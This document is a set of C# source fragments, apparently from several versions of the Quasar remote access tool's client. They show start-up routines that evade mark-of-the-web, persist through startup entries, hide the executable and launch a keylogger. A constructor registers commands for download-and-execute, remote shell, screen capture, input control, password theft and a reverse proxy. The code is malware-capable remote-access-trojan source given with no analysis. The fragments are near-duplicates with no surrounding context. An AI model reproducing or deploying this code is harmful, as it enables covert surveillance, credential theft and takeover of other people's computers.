private static void Initialize() { var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); // process with same mutex is already running if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect { ClientData.Disconnect = true; return; } AES.PreHashKey(Settings.PASSWORD); ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); GeoLocationHelper.Initialize(); FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath); if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath) { WindowsAccountHelper.StartUserIdleCheckThread(); if (Settings.STARTUP) { if (!Startup.AddToStartup()) ClientData.AddToStartupFailed = true; } if (Settings.INSTALL && Settings.HIDEFILE) { try { File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden); } catch (Exception) { } } if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); Keylogger logger = new Keylogger(15000); Application.Run(_msgLoop); }) {IsBackground = true}.Start(); } ConnectClient = new QuasarClient(hosts); } else { MutexHelper.CloseMutex(); ClientInstaller.Install(ConnectClient); } }
public QuasarClient(HostsManager hostsManager) : base() { this._hosts = hostsManager; base.Serializer = new Serializer(new Type[] { typeof (Packets.ServerPackets.GetAuthentication), typeof (Packets.ServerPackets.DoClientDisconnect), typeof (Packets.ServerPackets.DoClientReconnect), typeof (Packets.ServerPackets.DoClientUninstall), typeof (Packets.ServerPackets.DoDownloadAndExecute), typeof (Packets.ServerPackets.DoUploadAndExecute), typeof (Packets.ServerPackets.GetDesktop), typeof (Packets.ServerPackets.GetProcesses), typeof (Packets.ServerPackets.DoProcessKill), typeof (Packets.ServerPackets.DoProcessStart), typeof (Packets.ServerPackets.GetDrives), typeof (Packets.ServerPackets.GetDirectory), typeof (Packets.ServerPackets.DoDownloadFile), typeof (Packets.ServerPackets.DoMouseEvent), typeof (Packets.ServerPackets.DoKeyboardEvent), typeof (Packets.ServerPackets.GetSystemInfo), typeof (Packets.ServerPackets.DoVisitWebsite), typeof (Packets.ServerPackets.DoShowMessageBox), typeof (Packets.ServerPackets.DoClientUpdate), typeof (Packets.ServerPackets.GetMonitors), typeof (Packets.ServerPackets.DoShellExecute), typeof (Packets.ServerPackets.DoPathRename), typeof (Packets.ServerPackets.DoPathDelete), typeof (Packets.ServerPackets.DoShutdownAction), typeof (Packets.ServerPackets.GetStartupItems), typeof (Packets.ServerPackets.DoStartupItemAdd), typeof (Packets.ServerPackets.DoStartupItemRemove), typeof (Packets.ServerPackets.DoDownloadFileCancel), typeof (Packets.ServerPackets.GetKeyloggerLogs), typeof (Packets.ServerPackets.DoUploadFile), typeof (Packets.ServerPackets.GetPasswords), typeof (Packets.ServerPackets.SetAuthenticationSuccess), typeof (Packets.ClientPackets.GetAuthenticationResponse), typeof (Packets.ClientPackets.SetStatus), typeof (Packets.ClientPackets.SetStatusFileManager), typeof (Packets.ClientPackets.SetUserStatus), typeof (Packets.ClientPackets.GetDesktopResponse), typeof (Packets.ClientPackets.GetProcessesResponse), typeof (Packets.ClientPackets.GetDrivesResponse), typeof (Packets.ClientPackets.GetDirectoryResponse), typeof (Packets.ClientPackets.DoDownloadFileResponse), typeof (Packets.ClientPackets.GetSystemInfoResponse), typeof (Packets.ClientPackets.GetMonitorsResponse), typeof (Packets.ClientPackets.DoShellExecuteResponse), typeof (Packets.ClientPackets.GetStartupItemsResponse), typeof (Packets.ClientPackets.GetKeyloggerLogsResponse), typeof (Packets.ClientPackets.GetPasswordsResponse), typeof (ReverseProxy.Packets.ReverseProxyConnect), typeof (ReverseProxy.Packets.ReverseProxyConnectResponse), typeof (ReverseProxy.Packets.ReverseProxyData), typeof (ReverseProxy.Packets.ReverseProxyDisconnect) }); base.ClientState += OnClientState; base.ClientRead += OnClientRead; base.ClientFail += OnClientFail; }
private static void Initialize() { Thread.Sleep(2000); AES.PreHashKey(Settings.PASSWORD); _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); SystemCore.OperatingSystem = SystemCore.GetOperatingSystem(); SystemCore.MyPath = Application.ExecutablePath; SystemCore.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); SystemCore.AccountType = SystemCore.GetAccountType(); GeoLocationHelper.Initialize(); if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath) { if (!SystemCore.CreateMutex(ref _appMutex)) SystemCore.Disconnect = true; if (SystemCore.Disconnect) return; new Thread(SystemCore.UserIdleThread).Start(); if (Settings.STARTUP && Settings.INSTALL) { SystemCore.AddToStartup(); } InitializeClient(); if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); Keylogger logger = new Keylogger(15000); Application.Run(_msgLoop); }).Start(); ; } } else { if (!SystemCore.CreateMutex(ref _appMutex)) SystemCore.Disconnect = true; if (SystemCore.Disconnect) return; SystemCore.Install(); } }
private static void Initialize() { if (!MutexHelper.CreateMutex(Settings.MUTEX)) ClientData.Disconnect = true; // process with same mutex is already running if (ClientData.Disconnect) return; AES.PreHashKey(Settings.PASSWORD); _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); GeoLocationHelper.Initialize(); if (_hosts.IsEmpty) ClientData.Disconnect = true; // no hosts to connect if (ClientData.Disconnect) return; FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath); if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath) { WindowsAccountHelper.StartUserIdleCheckThread(); if (Settings.STARTUP && Settings.INSTALL) { if (!Startup.AddToStartup()) ClientData.AddToStartupFailed = true; } InitializeClient(); if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); Keylogger logger = new Keylogger(15000); Application.Run(_msgLoop); }).Start(); } } else { MutexHelper.CloseMutex(); ClientInstaller.Install(ConnectClient); } }